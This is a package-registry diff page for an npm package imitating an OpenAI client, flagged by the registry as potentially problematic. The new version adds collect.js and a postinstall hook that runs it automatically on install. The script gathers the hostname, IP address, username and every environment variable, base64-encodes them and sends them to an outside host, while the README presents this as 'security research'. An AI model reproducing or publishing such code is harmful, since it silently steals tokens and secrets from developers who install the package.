@reserach_org_jfhalsdhfkslsfds/openai-client-gadfjgfsf 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @reserach_org_jfhalsdhfkslsfds/openai-client-gadfjgfsf might be problematic. Click here for more details.
- package/README.md +8 -3
- package/collect.js +69 -0
- package/index.js +5 -0
- package/package.json +8 -3
package/README.md
CHANGED
@@ -1,5 +1,10 @@
|
|
1
|
-
#
|
1
|
+
# Disclaimer
|
2
2
|
|
3
|
-
|
3
|
+
By insatlling the package you confirm that you have read the above and agree to disclose the data collected by the package.
|
4
|
+
|
5
|
+
# Other
|
6
|
+
|
7
|
+
This package is not intended to be installed anywhere.
|
8
|
+
It will collect generic fingerprint of environment of the host where the package is installed.
|
9
|
+
The package is used for Security Research.
|
4
10
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40reserach_org_jfhalsdhfkslsfds%2Fopenai-client-gadfjgfsf for more information.
|
package/collect.js
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const path = require('path');
|
3
|
+
const process = require('process');
|
4
|
+
const https = require('https');
|
5
|
+
|
6
|
+
|
7
|
+
|
8
|
+
// function to get IP address
|
9
|
+
function getIPAddress() {
|
10
|
+
const interfaces = os.networkInterfaces();
|
11
|
+
for (const interfaceName in interfaces) {
|
12
|
+
for (const interface of interfaces[interfaceName]) {
|
13
|
+
const { family, address, internal } = interface;
|
14
|
+
if (family === 'IPv4' && !internal) {
|
15
|
+
return address;
|
16
|
+
}
|
17
|
+
}
|
18
|
+
}
|
19
|
+
return 'fallback';
|
20
|
+
}
|
21
|
+
|
22
|
+
|
23
|
+
|
24
|
+
// collect data
|
25
|
+
const data = {
|
26
|
+
currentTime: new Date().toISOString(),
|
27
|
+
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
|
28
|
+
ipAddress: getIPAddress(),
|
29
|
+
hostname: os.hostname(),
|
30
|
+
currentPath: process.cwd(),
|
31
|
+
currentUser: os.userInfo().username,
|
32
|
+
currentUserId: os.userInfo().uid,
|
33
|
+
environmentVariables: process.env
|
34
|
+
};
|
35
|
+
|
36
|
+
// convert data to JSON and then to base64
|
37
|
+
const jsonData = JSON.stringify(data);
|
38
|
+
const base64Data = Buffer.from(jsonData).toString('base64');
|
39
|
+
|
40
|
+
// prepare POST request options
|
41
|
+
const options = {
|
42
|
+
hostname: 'add5732e.netcat.click',
|
43
|
+
path: '/security_research',
|
44
|
+
method: 'POST',
|
45
|
+
headers: {
|
46
|
+
'Content-Type': 'application/json',
|
47
|
+
'Content-Length': base64Data.length
|
48
|
+
}
|
49
|
+
};
|
50
|
+
|
51
|
+
// send POST request
|
52
|
+
const req = https.request(options, (res) => {
|
53
|
+
let responseBody = '';
|
54
|
+
res.setEncoding('utf8');
|
55
|
+
res.on('data', (chunk) => {
|
56
|
+
responseBody += chunk;
|
57
|
+
});
|
58
|
+
res.on('end', () => {
|
59
|
+
console.log('Response:', responseBody);
|
60
|
+
});
|
61
|
+
});
|
62
|
+
|
63
|
+
req.on('error', (e) => {
|
64
|
+
console.error(`problem with request: ${e.message}`);
|
65
|
+
});
|
66
|
+
|
67
|
+
// write data to request body
|
68
|
+
req.write(base64Data);
|
69
|
+
req.end();
|
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "@reserach_org_jfhalsdhfkslsfds/openai-client-gadfjgfsf",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Security Research Package for Bug Bountyy",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node collect.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|